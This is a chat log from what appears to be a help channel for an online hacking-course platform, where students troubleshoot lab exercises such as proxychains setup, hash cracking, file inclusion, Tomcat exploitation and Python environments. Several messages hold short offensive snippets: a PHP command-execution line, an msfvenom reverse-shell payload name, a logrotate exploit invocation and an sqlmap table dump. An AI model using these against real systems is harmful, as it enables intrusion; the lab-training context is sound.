i managed to inject php script, i even checked it on the server terminal, i open netcat to listen on the port but when itry to access /access.log throguht the web page it just is empty as if they do not exist, i am accessing it to lmi vulnerability which is for sure there

[next bronze]

provide more info on your msf settings

[untold wolf]

DM me if you still need help

[rustic sage]

Still can't run proxychains curl http://SERVER_IP:PORT

https://academy.hackthebox.com/module/110/section/1053

[late moth]

so I am in the file upload module. I downloaded the PSUpload.ps1 script onto the windows target machine ran the script in both powershell ISE and a regular powershell CLI. I was only able to run the invoke-fileupload command in ISE. Any ideas why?

[next bronze]

import the file

[late moth]

doh, completely spaced that part. Thanks lol

[next bronze]

usually you'd just use IEX to load the file directly into the memory instead of dowloading a local copy

[rustic sage]

Whenever i run {proxychains curl {target.ip}} It comes out with "Couldn't connect to server."
HELP 😭

[next bronze]

is your proxychains config right

[rustic sage]

i think

ill send an ss

[rustic sage]

alr these are the two parts i changed as stated in the module

[next bronze]

you didn't comment socks4

[rustic sage]

sometimes i think about life

and what i did to get here

TYSM 😻

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[woven copper]

hello there, for all that had try the Game Reversing & Modding module, what version of BepInEx work for you ?
thanks an adavance 🙂

[dire abyss]

im stuck on https://academy.hackthebox.com/module/134/section/1175

im following the material but I cannot get it bypass the logon

[sharp pike]

CPTS>Password Attacks>Attacking SAM: i was able to dump hashes to my pwnbox but i cannt get hashcat to output the clear text password. I have also tried outputting to a file to no avail

[sharp pike]

jk I fixed this - DO NOT run as sudo

[edgy sluice]

Hi

[fathom pendant]

Yeah sudo does funky stuff

[sharp pike]

its so weird, youd think it would be required for the potential resource cost

[fathom pendant]

Nah

As long as you don't use --force the hashcat gods won't get mad at you

[sharp pike]

good to know, thanks!

[rustic sage]

Ok so i thought I fixed it but it didnt.. 😥
https://academy.hackthebox.com/module/110/section/1053
Still on this module, I have burpsuite open, and my foxieproxie on, but when i ran {proxiechains curl 94.237.59.199:52082}, it still came up with Failed to connect. Now i feel like im really doin something wrong.

[next bronze]

http://SERVER_IP:PORT

[rustic sage]

i just tried using that format and I still got the same result
also the target just died so this is a new one

[next bronze]

worked for me

can you even curl it without proxychains

[rustic sage]

yeah

came back no issue

[fickle thicket]

How long does attacking AEN blind shld take?

[late moth]

on the file transfer module. I'm trying to practice uploading files using Wedav Share. I set up the server on my attackbox and when I try and copy a file over or list the directory using the "DavWWWRoot" to reference the root of the directory it says doesn't exsist.

[dim wolf]

the question is a lot simpler than it sounds. follow the instructions in the section all the way to the end. what's the date that is returning all the events that you see in the visualization?

[rustic sage]

can you show me your proxychains.conf file

if you dont mind

[hazy bay]

trying to do the nibbles - initial foothold module and for some reason i am unable to create a php file in my terminal. i tried using metasploit as a workaround but it deleted the image.php file on the server for some reason and now i have no idea what to do. Even if I reset the target ip I still don't know how to fix the "zsh: parse rror near \n" message I get when pasting the php system command into the console.

For context I'm doing this via Kali on a VM

[cloud urchin]

Are you sure you didn't crack them already? It says it skipped 4 entries due to already being in the potfile.

[rustic spire]

So I’m not supposed to look at timestamps??? Cause the all diff

[rustic spire]

the question was worded in the worst way possible

[fathom pendant]

If you feel that way; #1234357888114364508

[wraith pelican]

hello, what is the command you used to create a file?

[hazy bay]

I just pasted this into the terminal: <?php system('id'); ?>

[wraith pelican]

By doing that, you are asking your terminal execute the command, but it cannot do that. The course material ask you to save this code to a file.

[hazy bay]

oh shit that's what vim is for isn't it

[wraith pelican]

: ) yeah

[rustic spire]

ill do that tomorrow, too tired rn

[wraith pelican]

but you also can ask your terminal to write it to a file without opening vim. Did you do the linux basics module?

[hazy bay]

no but now i realise i should have

i did try find out how to do it online but couldn't figure it out lol

oh wait i just use the echo command 🤦

[wraith pelican]

yeah

[loud dagger]

man i love when it turns out the answer to a question was one i figured out hours ago but for some reason it only works on pwnbox and not openvpn

[obtuse egret]

I am hoping someone here can help me. I'm fairly new here and am not sure if this is the right place to ask for help. I am working my way through the Linux Basics module and working on the Navigation exercise. I SSH into the machine like it says, I open a BASH terminal and type cd /home. That puts me in the home directory. I then type ls -la to show all of the files but I'm not seeing a hidden file there that starts with a period. Any ideas to what I'm missing or may be doing wrong?

[wraith pelican]

i doubt that would be the only reason

[smoky pumice]

Working on the File Inclusion module Local File Inclusion section. No matter what path I enter into the url for /etc/passwd it just hangs. Is anyone willing to help me with a sanity check and verify the resource isn't working?

[rustic sage]

Is this the module

[obtuse egret]

Yes

[loud dagger]

i found that out because multiple other people here had the same problem

it’s literally the only thing that changed

[dim wolf]

which module, section, and question is this

[wraith pelican]

you are forgetting who you are. what are you seeing when you ls -la /home ?

[loud dagger]

i’m not getting into this again

[dim wolf]

ok

[rustic sage]

bear with me, im going through it now

my computer is slow and the target takes forever to spawn

[obtuse egret]

I get a file listing of 3 files. cry0l1t3 htb-student mrb3n

[wraith pelican]

those are directories, you can try and explore them

[smoky pumice]

If I follow the module and put /var/www/html it works just fine but not /etc/passwd

[loud dagger]

AUGH IT'S MY FUCKING VM AGAIN I HAD THE SAME ISSUE WITH REVERSE SHELLS LIKE A WEEK AGO

[dim wolf]

hm

[rustic sage]

The file is not in the overall /home directory

[obtuse egret]

Thank you very much. I thought those were files. lol I'm very new to all of this.

[loud dagger]

yep it works on pwnbox and my debian install but not my kali vm
exact same thing happened with a reverse shell a week ago

[dim wolf]

i've gotten impacket to stop working because of some shit installed via pip to get other scripts working (certipy), having snapshots helped

[wraith pelican]

did you try the different examples given in the course material?

[loud dagger]

i need to figure out how to uninstall and reinstall my vm without losing all of the stuff i have on my kali vm

[dim wolf]

reinstalling tools is not that big of a deal

[loud dagger]

thank you

[smoky pumice]

Yeah all of them multiple times

[dim wolf]

windows tools you can zip all of them, put it in a shared folder, then copy back into your new vm

just write down a list of everything you have installed, then reinstall once you spin up a new vm

[loud dagger]

yeah but i'll lose a bunch of settings and other shit

[dim wolf]

that's why i have golden images of my VMs so i don't have to think about those

[loud dagger]

that's why you have whats

[dim wolf]

golden images

[smoky pumice]

I tried it in the pwnbox and even on my Windows machine same result

[stuck cairn]

you can save your settings separately tbh and reimport if you reaally want to

[dim wolf]

they are VMs i can copy at any time that have all my tools settings and preferences already set up so i don't have to do entire setup again

[stuck cairn]

I just keep snapshots and keep my vm on a big usb

[loud dagger]

yeah i take a ton of snapshots, i just wish there was a good way to know when what i'm doing should work and that reverting to a snapshot might fix it

okay well reverse shells still work on my vm

let's see if reverting to a snapshot works

[stuck cairn]

is this one of the "works on pwnbox" but not on the vm moments

[loud dagger]

yep

had a few of those

[stuck cairn]

classic

[dim wolf]

haven't had that issue on academy, on usage box though...

[loud dagger]

it would just really be nice to know when i'm getting it right and it's my vm that's busted

because it turns out the solution was one i tried like hours ago

[stuck cairn]

is your openvpn working, like in logs is it connected, sometimes i need to download a new .ovpn for some reason

[loud dagger]

yep

appears to be working fine

i'll try installing a new ovpn file

[wraith pelican]

i just tried, it works to get /etc/passwd file. Review the course material, you'll find it if you dig maybe a bit deeper

[smoky pumice]

Yeah I got it to work in the pwnbox but still not anywhere else

[wraith pelican]

there is no vpn in this module, it can work from anywhere

[loud dagger]

update: restoring a snapshot and installing a new ovpn file both did not work

this is a fat fuckin Tomorrow Me Problem

[stuck cairn]

huh usually what fixes it is either new ovpn or swap regions

[smoky pumice]

You would think but nope only the pwnbox is able to do it

Tried it in Kali and on Windows and it just hangs. Fire up the pwnbox and the file pops up no problem same exact url

[wraith pelican]

i just did it from my vm

[smoky pumice]

Weird the next question I had no problem with

Went back and the only place /etc/passwd works is in the pwnbox. Oh well not going to waste anymore time worrying about problems on their side.

Thank you @wraith pelican for going in and checking for me!

[ruby ginkgo]

Obtain remote code execution on the http://web01.inlanefreight.local:8180/ Tomcat instance. Find and submit the contents of tomcat_flag.txt
on https://academy.hackthebox.com/module/113/section/1211
I already got the RCE but i cant see the tomcat_flag.txt file,

[shut quest]

They gave you the file name, you can use locate if it's installed or find. I don't have my notes for that section.

[ruby ginkgo]

i did tired that but its either no result or some java errors.

[west canopy]

can you do me a favor and show me the command you're using to try and find the location of "tomcat_flag.txt" ?

[jolly yacht]

hey, where can i share my feedback to a particular module ?

[ruby ginkgo]

||find / -name tomcat_flag.txt 2>/dev/null|| i url encode this. locate command is not installed tho so i used find

[wraith pelican]

not sure what you mean but when you finish a module you can submit a review

[jolly yacht]

I was doing the Linux Fundamental module and in the Linux Structure Section particularly coming across this point: The top-level directory is the root filesystem and contains all of the files required to boot the operating system before other filesystems are mounted as well as the files required to boot the other filesystems. After boot, all of the other filesystems are mounted at standard mount points as subdirectories of the root. this point is kind of hard to understand as a beginner (i mean those sentence) and it will be so good if it is more clear. It's just my Feedback, Thank you.

[west canopy]

ah are you using a web shell then? with the standard|| jsp_shell_reverse_tcp payload from msfvenom, it gives us access to a full shell||, so need to URL encode anything

that find command should find the flag very quickly 😉

[ruby ginkgo]

but i do want to know how to manually find the flag after exploiting with .war

[ruby ginkgo]

thanks!

[west canopy]

right, basically have to use either find or locate. And locate only works if we are able to run sudo updatedb beforehand (typically)

[wraith pelican]

yeah i hear you...that one is kinda funny... files filesystems other filesystems... mounted at mount points... pheww

[ruby ginkgo]

yeah gottacha!

[west canopy]

just think of the / in linux as the C: drive in Windows

[jolly yacht]

yeah, true.

[jolly yacht]

yep, I understood but just saying that the sentence could be much simpler to explain that. Thank you.

[wraith pelican]

and i wouldn't worry too much about not fully grasp every new thing thrown at you. Things will progressively be clearer when you practice further. They just try to be precise in their explanation and concise at the same time

[jolly yacht]

okay 👍

[west canopy]

yes its perfectly normal and also intentional that students have additional questions as they are reading the material

[robust quartz]

Hi, is anyone know how to do hyperlink a text in sysreptor?

[west canopy]

have you checked the sysreptor docs? https://docs.sysreptor.com/designer/faqs/

[pseudo kiln]

do you guys have a go to guide for ligolo ? following the hackingarticles one, but wondering what else people are using

[robust quartz]

Been trying that in CWE field but still can't hyperlink the text

[west canopy]

tbh ive only used sysreport once or twice. But it looks like its just using standard markdown. Is this for a particular module you are working on?

[wraith pelican]

I used a bit of multiple sources when googling.Just saved that one recently when you asked those pivoting questions https://medium.com/@issam.qsous/mastering-multi-pivot-strategies-unleashing-ligolo-ngs-power-double-triple-and-even-quadruple-dca6b24c404c

[pseudo kiln]

i will take a look at it, cheers

quadruple pivot

[wraith pelican]

yeah quadruple, i knew it would speaks to you : D

[cloud urchin]

Go here https://htb.sysreptor.com/htb/signup/ and register, they provide templates for the various htb certs. https://www.hackthebox.com/blog/certification-templates

and its free

[west canopy]

okay i made a slight adjustment... just a comma added, but hopefully makes the message a bit more clear.

[mighty merlin]

Greetings here. Am trying to start a simple web server with php but i am failing. So far i am using the command php -S <ip address>:<port number> but this has been marked wrong, also when i click the lick to open the files were the web server is running i get a resource not found error.

Could this also be related to my apache2 failing to run when i start it?

[patent spade]

Hi, for Exploiting Web Vulnerabilities in Thick-Client Applications, I am able to get fatty-server.jar but it does not open. Task manager shows that it is running but I am unable to interact with it.Can anyone help me with this?

[robust quartz]

Yeah I use that tools right now but can't markdown CWE's to CWE link

[tiny olive]

@everyone

[lone mesa]

Hello, anyone happen to be free to help troubleshoot a problem I am experiencing with my pc?

[analog dock]

Don’t try to ping everyone

<@&861185840277487616>

[tiny olive]

i promise that when i am going to finish this puzzle i mean this month i am going to return my debt 10x

[analog dock]

Sure bud

Go to a bank

[analog dock]

If you don’t tell us your problem, no one can help

[lone mesa]

My computer has been running super slow on startup and browsing

[analog dock]

That doesn’t say much

Go do a factory reset

[jolly cradle]

ty

[analog dock]

[mighty merlin]

Is it windows?

[lone mesa]

Mac

[mighty merlin]

Am not so familiar with mac OS but Try stopping all unnecessary services running in the system monitor, have you recently installed updates? whats your memory like

[patent spade]

Hii anyone?

[trail shuttle]

Can i dm someone regarding the web attacks - skills assesments?

[trail shuttle]

nvm i got it

[analog dock]

<@&861185840277487616>

[clever topaz]

need sanity check for question 1 in Special Permissions in linux priv section, i have tried all the files but none work, but i manage to solve 2nd question tho with the same result

[clever topaz]

nvm solved

[light plover]

guys

i need a help

[rustic sage]

Not today Elliot

[light plover]

why ??

[rustic sage]

Too busy working at Ecorp

[light plover]

hahahahaha

but i cant get into it , the loneliness just came back

anyways i have a problem in hackthebox , in the module " web requests " the machine in the first question doesn't working , they just told me " target is spawning ..." then waiting till the end of the earth and i can't get the IP 😦

[rustic sage]

hard refresh and try it again?

[light plover]

i did all the solution in your mind , and it still not working

[rustic sage]

🤷‍♂️

[light plover]

thx btw

[wraith pelican]

1st section: hypertext ? works here

[light plover]

just fgt it , the problem is unknown to solve this prob i may need to contact the support ( ik they will not respond till the hair grows in my nose )

[next bronze]

works for me too

[misty saddle]

Any1 else have issues with spawning targets?

[plain coral]

Yeah

[mint peak]

Yup, targets aren't spawning

Well it is 4:00am, I suppose this is my sign to go to bed lol

[versed seal]

Hello guys, Im having some problem with Login Form Attacks in the Login Brute Forcing Module, Im using rockyou.txt as it says but still couldnt find the password for login.php

[fickle thicket]

LSA is not a process running like lsass.exe right? Is it just a specification which lsass implements?

[mint peak]

I just booted up this module. Adapt their commands on the page to your own needs. I was just able to get the flag in a couple seconds

[versed seal]

hmm ok i will give it a another shot

[next bronze]

LSA is the system component that's responsible for local security policies, lsass is the process/service that carries out most of the tasks

[fickle thicket]

System component in this context means LSA is part of the operating system right? So is it sort of like a specification which lsass must follow?

[next bronze]

it does what's configured in the lsa

[fickle thicket]

ah ok thanks!

[wraith pelican]

https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_LSA
there is a part describing LSA

[rustic sage]

I know this is not exactly the right place but do you mind if i talk about why I quit my cybersecurity job, and i ran away from my roommate, im in a motel right now

I've lived with my roommate before that for about 6 months, he was also my colleague from a different department, he was mostly an okay guy but there was one weird thing about him

[fickle thicket]

Did you create an account just to share your story😂

[rustic sage]

He kept telling me that there was a mermaid in the attic of the house and that he had "intercourse" with that mermaid every single day, i thought that was weird, but I laughed it off everytime he said it.
I mean, everyone is weird in tehir own way right? Its whatever?

So

Anyway,
the 6 months go by and my curiosity is really starting to kill me me, so i decide to go up there to check the attic out for myself, So i wait for him to leave the house, and I proceed to actually go upstairs into the attic for the first time ever, you know what i found in there? A deəd monkey with its legs sticthed togather

From there
I pack my bags and i get the fuck out of there asap
Still at the motel, i told him that i got fired and I'm going back to newyork, i wanna pretend that i never saw a thing

[haughty stirrup]

Bruh

[next bronze]

buh what

[fickle thicket]

😬😬😬😬😬😬

Jesus

[rustic sage]

If i call the cops, he might come after me when they release him

[haughty stirrup]

bro said buh

[rustic sage]

I took pics of the monkey, it was a red howler breed
The pictures are extraordinary disgusting, if you got the stomach for them ill share them

[fickle thicket]

🤣

[rustic sage]

He kinda looked like a mermaid though to be fair

[haughty stirrup]

I’m at a loss for words

[rustic sage]

Alright, alright,enough
I made the story up

[wraith pelican]

[rustic sage]

It was inspired by a joke form frankie boyle

[fickle thicket]

Knew it🤣

[rustic sage]

https://youtu.be/oX1jMmfG2Xk?feature=shared

Here is the joke

Ill see myself out

[fickle thicket]

Bye

[wraith pelican]

and now we have to live with images of monkey in mermaids disguise... thanks for that

[oak ravine]

I'm working on Attacking Enterprise Networks: Web Enumeration and Exploitation and I'm having issues editing the cookie with cookie editor. I was able to grab the cookie value using the php server, but when editing it I'm receiving the error: "First-Party Isolation is enabled, but the required 'firstPartyDomain' attribute was not set.".

[rustic sage]

Bro what the actual fuck

[topaz fossil]

i just completed the skills assessment for command injections. took me nearly forever to find the vulnerability in the first place. is this something that comes with experience/practice? or is there a method that makes this easier. i went through a few rabbit holes which i thought was vulnerable, before finally discovering the correct bug

[fathom niche]

I don't know if I'm in the right place, I'm trying to work on the "Practical Digital Forensics Scenario".
Unfortunately the RDP session is extremely lame and it takes several seconds after a click or keystroke 😦

[rustic sage]

~~

Like which server you using?

[fathom niche]

xx.197.207

[rustic sage]

I'm asking like what VPN server you using?

[next bronze]

you can edit cookies using the browser

[fathom niche]

EU-academy-2

[rustic sage]

whats the ping?

[rustic sage]

try chaning the VPN server.

[late moth]

in the file transfer module. I am trying to get practice copying files using scp. I have enabled ssh on the pwnbox. I'm using this command to copy a file named test.txt "scp htb-ac-546869@10.10.14.231:/home/htb-ac-546869/test.txt ." The connection keeps timing out? I've verified that ssh is enabled on the pwnbox. I was able to get transfers to work from the target machine back to my pwnbox but not the other way around. I'm assuming its a firewall fule? any suggestions?

i've even added a testuser and tried it that way, with no luck.

[fathom niche]

ok i got it, TCP doesn't work but UDP is fine thank's

[rustic sage]

Nice Nice.

[rustic sage]

check your ssh config?

[cloud urchin]

Your ip/username doesn't look correct. the IP you're transferring to looks like the pwnbox or your vm. you're supposed to transfer to the target i believe, not the pwnbox

[late moth]

it was for practicing uploads so from target -> pwnbox

[cloud urchin]

and you get connection refused, looks like ssh is disabled

[next bronze]

does normal ssh work?

[cloud urchin]

i guess it says timed out not refused

but still, i don't think you're meant to xfer like that. should be from pwnbox to target box

[late moth]

normal ssh does work

[next bronze]

yeah this

[late moth]

i just figured it would work both ways. Thanks

and then it walks you through the steps of starting an ssh server on your pwnbox etc. But i couldnt get it to work.

[next bronze]

it should

maybe outbound ssh connections are disabled for that target

[zealous fiber]

Hello, anyone down for a little help on the Process Injection Section of the Evade Windows Defender Module ?

[fathom pendant]

Ssh is already enabled on pwnbox

[fluid basin]

Windows Privilege Escalation module DNSAdmins section has me load a DLL file. However the DLL ends up crashing the DNS service upon restart, basically preventing the DLL from executing. Is there anything I can try?

[torn steppe]

Hi all! It is possible a hint for ntlm relay attack skills assessment question 3!! I own Backup01, but then I am stuck, the creds of ||sql_ftp_test|| doesn't give me any special access on ||shares || and ||with the host I've created|| I can read in some shares but no clue what to do. Thank you!!

[next bronze]

check all the accounts you have control over for what shares you can access

[torn steppe]

Could I dm you to avoid flooding the chat with more questions?

[viral lotus]

So I have made some progress doing the Windows Event Logs & Finding Evil module - I just done the reflective DLL, the windows lab is incredibly slow and it nearly booted me out, is there anyway I can get the files and spin up my own VM to do the rest? I am assuming not but thought I would ask the question

[fathom pendant]

No

The ways you can speed up is changing vpn regions, using tcp instead of udp

[next bronze]

I thought the hint is pretty self explanatory check the shares of the sql machine using all the accounts you have

[viral lotus]

Yeah I have done both, no dramas... I'll just plod along it isn't a race

[torn steppe]

thank you! I was more focus on finding ||write permissions||

[hexed oyster]

I'm working on the Command Execution Skills assessment and just need some guidance. Does anyone have some time to DM about it?

I just need a sanity check to verify that I'm on the right track.

[clever topaz]

for module Linux Priv Esc, Logrotate section
i have used this script but nothing works
||./logrotten -p payload backups/access.log||
anyone can guide me?

[fathom pendant]

I'd check to make sure your payload isn't conflicting with how the logs are created

[viral lotus]

Also can I apologise for the other day asking stupid questions, I hadn't moved what I needed, to a user writable area as told in the actual course material, main issue was that... layer 8 issue, Sorry 😂

[hexed oyster]

for the command execution skills assessment, I need to move the flag to the tmp directory, correct?

[old oasis]

yes

[hexed oyster]

@old oasis thanks. I think I've found the vulnerability, I'm just having trouble fuzzing it out.

@old oasis Mind if I DM you real quick about it?

[old oasis]

sure

[hexed oyster]

thank!

[quasi wave]

hi I'm getting this weird error when I try to crawl inlanefreight.com on htb academy's creepy crawlies section of information gathering web edition module

└──╼ $python3 ReconSpider.py http://inlanefreight.com
Traceback (most recent call last):
  File "/home/htb-ac-605555/ReconSpider.py", line 6, in <module>
    from scrapy.downloadermiddlewares.offsite import OffsiteMiddleware
ModuleNotFoundError: No module named 'scrapy.downloadermiddlewares.offsite'

[heavy mango]

Try installing Scrapy in a virtual environment with Pip

[quasi wave]

I did that won't work either

[next bronze]

#modules message

[quasi wave]

┌─[✗]─[htb-ac-605555@htb-h8nxsns0b4]─[~]
└──╼ $pip3 install scrapy
error: externally-managed-environment

× This environment is externally managed
╰─> To install Python packages system-wide, try apt install
    python3-xyz, where xyz is the package you are trying to
    install.
    
    If you wish to install a non-Debian-packaged Python package,
    create a virtual environment using python3 -m venv path/to/venv.
    Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
    sure you have python3-full installed.
    
    If you wish to install a non-Debian packaged Python application,
    it may be easiest to use pipx install xyz, which will manage a
    virtual environment for you. Make sure you have pipx installed.
    
    See /usr/share/doc/python3.11/README.venv for more information.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

[notice] A new release of pip is available: 24.0 -> 24.1.1
[notice] To update, run: python -m pip install --upgrade pip

and then this won't work either:

└──╼ $python -m pip install --uprade pip

Usage:   
  /usr/bin/python -m pip install [options] <requirement specifier> [package-index-options] ...
  /usr/bin/python -m pip install [options] -r <requirements file> [package-index-options] ...
  /usr/bin/python -m pip install [options] [-e] <vcs project url> ...
  /usr/bin/python -m pip install [options] [-e] <local project path> ...
  /usr/bin/python -m pip install [options] <archive url/path> ...

no such option: --uprade

hold on misspelled upgrade

nope still won't work

[heavy mango]

you're not in a virtual environment

[next bronze]

run this

[quasi wave]

┌─[✗]─[htb-ac-605555@htb-h8nxsns0b4]─[~]
└──╼ $python -m pip install scrapy --break-system-packages
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: scrapy in /usr/lib/python3/dist-packages (2.8.0)

[next bronze]

😐

buddy can you just run what I sent

[fathom pendant]

#1257062567965364334 message

[quasi wave]

I did

[fathom pendant]

Funny enough @heavy mango helped with this previously

[quasi wave]

@fathom pendant ok this answers my question because what @next bronze suggested didn't work

[heavy mango]

I actually realized that both ways work. Either replacing the line in the script or running the whole thing in a virtual environment

[fathom pendant]

Likely a weird thing with python 3.11 and 3.12

[quasi wave]

ok got it

[next bronze]

you're not even in a venv

of course it won't work

[quasi wave]

when I tried it start a venv it didn't work

[next bronze]

it worked when I tested it in pwnbox

[quasi wave]

ok let me try again

[next bronze]

what's your solution

modifying the script?

[fathom pendant]

Yeah

[quasi wave]

┌─[✗]─[htb-ac-605555@htb-h8nxsns0b4]─[~]
└──╼ $python3 -m venv /home/htb-ac-605555/
┌─[htb-ac-605555@htb-h8nxsns0b4]─[~]

this doesn't work it literally does nothing

[next bronze]

dude

[heavy mango]

That's what I tried first, but then I saw someone running it in a venv which also worked

[next bronze]

if you can't even copy and paste I can't help you

[fathom pendant]

That doesn't look like what xreous sent

[quasi wave]

I did copy and paste

ok let me reread Xreous comment

[next bronze]

ah ok

seems like pwnbox update broke some stuff

[heavy mango]

it's Parrot 6.1 in general I think

I'm running my own VM

[fathom pendant]

Nah 6.1 didn't break anything for me

[heavy mango]

Maybe Python then like you said

[next bronze]

just python things

[dull hamlet]

have you managed to make it work?

[quasi wave]

wait got it activated now trying again

I got virtual environment activated and it did nothing

(venv) ┌─[✗]─[htb-ac-605555@htb-h8nxsns0b4]─[~]
└──╼ $sudo pip install scrapy
error: externally-managed-environment

× This environment is <SNIP>

[next bronze]

can you just copy and paste the 3 lines verbatim

why are you using sudo

[quasi wave]

wait hold on I installed scrapy without sudo and it worked

now it worked

[dull hamlet]

why the hell if you use the same command on pwnthebox it works while from your own virtual machine it does not?

[wraith pelican]

maybe because it is installed correctly on the pwnbox

[dull hamlet]

no man. inlanefreight.com is opened on the internet. I use the same command, same wordlist (verified the size and hash) and it misses some findings on my vm

[rustic sage]

Is there an additional step that I have to take to route my curl traffic through burpsuite using proxychains?
Or a setting/feature that I have enabled or disabled that would cause curl requests going through proxychains to respond with 'couldn't connect to server'? When I curl to the same ip normally, it goes through, but when using proxychains it doesn't. https://academy.hackthebox.com/module/110/section/1053

[quasi wave]

solved it

now doing next section of module

[dull hamlet]

I think some filtering due to massive traffic is applied but that just makes it confusing, expecially if the question requires to bruteforce

[wraith pelican]

works on mine

[dull hamlet]

can i dm you?

[wraith pelican]

no

[next bronze]

works in a fresh install, just add the line into the config file and run burp

[rustic sage]

Yea it worked on the pwmbox should i make a new vm

[next bronze]

do you have firewall or something

you can try reinstalling burp

[rustic sage]

ill do that

[dull hamlet]

nvm figured that out. It now works on my vm too

[wraith pelican]

good! what was the issue?

[dull hamlet]

I'm not supposed to tell you that 🙂

[wraith pelican]

: D fair enough

[dull hamlet]

joking. I'll share that for whoever is reading: make sure to use public dns servers. dnsenum was querying my local isp dns. Also works with gobuster

[trail sail]

Hi. Is it normal that Pwnbox lacks CrackMapExec?

[next bronze]

use netexec instead

[trail sail]

Ok. Thanks man!

[rustic sage]

ok it works now tysm 🥰 🀄

[strange forge]

Further Credential Theft in windows priv esc

[dim wolf]

it is a section that exists in that module

[strange forge]

Further Credential Theft in windows priv esc. iam supposed to add vhost in rdp?

[dim wolf]

the IP address should work just fine

[young wyvern]

Anyone know of any modules that might go over scanning external hard dives or USBs for potential threats? Or anywhere I could get some information on best practices?

[upbeat oak]

In the antak portion of the shells and payloads module I was able to get a webshell but I'm unable to interact with it has anyone else ran into a similar issue?

[zenith gazelle]

Hi guys im doing a module and its says that i need to use CVE-2021-1675 - PrintNightmare LPE and im wondering how can i enumerate the system manually to discover that is this vulnerability that i need to exploit. Thanks for the help

[next bronze]

wdym? if you can load the webshell you can interact with it

[upbeat oak]

Like the webshell pulled up I just cant type anything

[next bronze]

make sure your copy is woring and upload again

[upbeat oak]

I've uploaded 3 times now changed the credentials and all that like the module said, but for some reason can't type on the shell?

[next bronze]

haven't seen that before, use a different browser maybe

[upbeat oak]

I'll try that

[upbeat oak]

I must have missed something because I can't get this to work. Could it be because I had to git clone antak since it wasn't in my usr/share directory?

[shut quest]

Shouldn't be, that code hasn't been updated in 9 years. You try on pwnbox?

[upbeat oak]

No I was using my kali machine but I can try on pwnbox

[shut quest]

That's at least an easy sanity check

[next bronze]

wait are you clicking in the right place

the input box is seperate from the output

[upbeat oak]

I only see one box that I can't type out of is there a seperate box that is supposed to pop up?

[next bronze]

input is at the bottom box

[upbeat oak]

This is what I see when I get my shell? I'm confused

I don't have anywhere to type?

[fathom pendant]

Just above submit

Type there

[upbeat oak]

Oh shit I clicked everywhere but there I guess appreciate the help

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[quasi wave]

for the last question of last section of information gathering web edition, its asking me which API key the inlanefreight developers will be chacking to

I did reconpspider and I see a telnet password

[fathom pendant]

Nope

You don't need to do any telnet or anything to find it

[quasi wave]

ok

[fathom pendant]

Subdomain of subdomain

[quasi wave]

ok so like dirbuster?

[fathom pendant]

Sort of

[quasi wave]

ok

[fathom pendant]

You need to spider the x.y.inlanefreight.htb

So you need to find the right vhosts

[quasi wave]

ok thanks

ok cool

[dull hamlet]

just finished it. In the last step you are supposed to use a crawler even if in the modules there's no explaination on how to use scrapy

for some reason burpsuite won't crawl beyond 12-13 depth so you have to write your scrapy crawler

[fathom pendant]

? The ReconSpider tool that was written up was explained in the module

[dull hamlet]

I wasn't able to make it use the hostname defined in /etc/hosts...

[fathom pendant]

http://hostname:port

You still need to tell it what port to use, you don't define the port in /etc/hosts

[dull hamlet]

yeah, my fault. The target changed the port number when time finished and I was still using the old port number and forgot to switch it in the url passed to reconspider tool :S

I wrote my own scrapy script, modified the hostname and parsed the output lol. Well at least I learned something new 🙂

[rustic sage]

Hi

[vale robin]

Hello

[onyx halo]

whats the current bloodhound version? on Github it says v4.3.0, however having problem with sharpHound which is version 2.3.0 (stuck upload of .json), which indicates that its compatible only with BH 5. Kali repo only has 4.3.1.... Could someone shed some light on it?

[fathom pendant]

BH CE (5.x) is the latest

however that's built for docker containers

I just went to one of the targets from ad enum and downloaded that one

2.3 afaik isn't compatible with < 5

[onyx halo]

c:\temp>sharphound.exe --version
sharphound.exe --version
2024-07-02T16:37:42.5164164-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
SharpHound 2.3.0

[onyx halo]

oh sorry yes, you're correct

[rustic sage]

I want to start learning Cyber Security quickly

[swift carbon]

you've come to the right place

[rustic sage]

Will I learn quickly?

[swift carbon]

learning cybersecurity is a marathon not a sprint 🙂 patience is key.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

That’s entirely dependent on you and how much work you put in.

So where to start learning useful things in Cyber Security from a beginner level

?

[swift carbon]

take a look at the link two messages above for a guide on how to start

[fathom pendant]

well the HTB academy has the Information Security Foundations skill path which goes through the bare bones basics of things you may run into in the security field, which is vast

[hexed oyster]

Just to add to what @fathom pendant said: I think it's better than portswigger academy

Granted: you only get half the course for free but I feel like I got a lot more understanding out of it than I did with Portswigger Academy.

[rustic sage]

How long does it take to learn Cybersecurity?

[hexed oyster]

sort of depends on your determination, time, etc..

[heavy edge]

idk if this is intended

[clever topaz]

Sorry for the late reply but how to check how the log are created

[fathom pendant]

cat the log?

[heavy edge]

but case10 on sql map i just did sqlmap -r case10 -T flag10 --dump

and got the flag lmao

didnt have to do anything else

i can provide the flag and SS for validation to those who have completed

[fathom pendant]

https://discord.com/channels/473760315293696010/1252781216382582795

[heavy edge]

i actually just saw thi as you tagged lmao

but yeah i think its borked

[rustic sage]

What username allows you to log in to the target system via telnet with a blank password?

?

root?

What is it about? SUBMIT FLAG

Submit root flag

?

@swift carbon

[rustic sage]

?

[swift carbon]

are you doing a box? what is the context of your question?

[rustic sage]

Yes

What does send the flag mean

What should I do?

[swift carbon]

usually there is a place on the hackthebox platform to submit flags for the boxes you are working on. should be on the box's page within the htb platform

[rustic sage]

And what flag should I send??

[swift carbon]

that depends on the box lol

[cloud urchin]

It's right below where you started the target box.

[swift carbon]

this channel is intended for HTB Academy so this conversation technically off topic now

[rustic sage]

Trying to install smbclient. It didnt work and said that it needed samba-commons and samba-libs installed, did this and the install is still not working

[fathom pendant]

add --fix-broken

but smbclient should be installed by default

[dawn hazel]

